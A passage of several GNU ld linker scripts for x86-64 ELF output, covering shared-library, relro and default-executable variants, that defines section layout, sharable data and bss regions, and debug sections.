  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    KEEP (*(.preinit_array))
  }
  .init_array     :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array     :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (24, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for ld --shared: link shared library */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
	      "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib64"); SEARCH_DIR("/usr/local/lib64"); SEARCH_DIR("/lib64"); SEARCH_DIR("/usr/lib64"); SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.init      : { *(.rela.init) }
  .rela.text      : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) }
  .rela.fini      : { *(.rela.fini) }
  .rela.rodata    : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) }
  .rela.data.rel.ro   : { *(.rela.data.rel.ro* .rela.gnu.linkonce.d.rel.ro.*) }
  .rela.data      : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) }
  .rela.tdata	  : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) }
  .rela.tbss	  : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) }
  .rela.ctors     : { *(.rela.ctors) }
  .rela.dtors     : { *(.rela.dtors) }
  .rela.got       : { *(.rela.got) }
  .rela.sharable_data	  : { *(.rela.sharable_data .rela.sharable_data.* .rela.gnu.linkonce.shrd.*) }
  .rela.sharable_bss	  : { *(.rela.sharable_bss .rela.sharable_bss.* .rela.gnu.linkonce.shrb.*) }
  .rela.bss       : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) }
  .rela.ldata     : { *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*) }
  .rela.lbss      : { *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*) }
  .rela.lrodata   : { *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*) }
  .rela.ifunc     : { *(.rela.ifunc) }
  .rela.plt       :
    {
      *(.rela.plt)
      *(.rela.iplt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    KEEP (*(.preinit_array))
  }
  .init_array     :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array     :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (24, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -z combreloc -z now -z relro: combine and sort reloc sections */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
	      "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib64"); SEARCH_DIR("/usr/local/lib64"); SEARCH_DIR("/lib64"); SEARCH_DIR("/usr/lib64"); SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.dyn       :
    {
      *(.rela.init)
      *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*)
      *(.rela.fini)
      *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*)
      *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*)
      *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*)
      *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*)
      *(.rela.ctors)
      *(.rela.dtors)
      *(.rela.got)
      *(.rela.sharable_data .rela.sharable_data.* .rela.gnu.linkonce.shrd.*)
      *(.rela.sharable_bss .rela.sharable_bss.* .rela.gnu.linkonce.shrb.*)
      *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*)
      *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*)
      *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*)
      *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*)
      *(.rela.ifunc)
    }
  .rela.plt       :
    {
      *(.rela.plt)
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got.plt) *(.igot.plt) *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (0, .);
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Default linker script, for normal executables */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
	      "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib64"); SEARCH_DIR("/usr/local/lib64"); SEARCH_DIR("/lib64"); SEARCH_DIR("/usr/lib64"); SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.init      : { *(.rela.init) }
  .rela.text      : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) }
  .rela.fini      : { *(.rela.fini) }
  .rela.rodata    : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) }
  .rela.data.rel.ro   : { *(.rela.data.rel.ro* .rela.gnu.linkonce.d.rel.ro.*) }
  .rela.data      : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) }
  .rela.tdata	  : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) }
  .rela.tbss	  : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) }
  .rela.ctors     : { *(.rela.ctors) }
  .rela.dtors     : { *(.rela.dtors) }
  .rela.got       : { *(.rela.got) }
  .rela.sharable_data	  : { *(.rela.sharable_data .rela.sharable_data.* .rela.gnu.linkonce.shrd.*) }
  .rela.sharable_bss	  : { *(.rela.sharable_bss .rela.sharable_bss.* .rela.gnu.linkonce.shrb.*) }
  .rela.bss       : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) }
  .rela.ldata     : { *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*) }
  .rela.lbss      : { *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*) }
  .rela.lrodata   : { *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*) }
  .rela.ifunc     : { *(.rela.ifunc) }
  .rela.plt       :
    {
      *(.rela.plt)
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
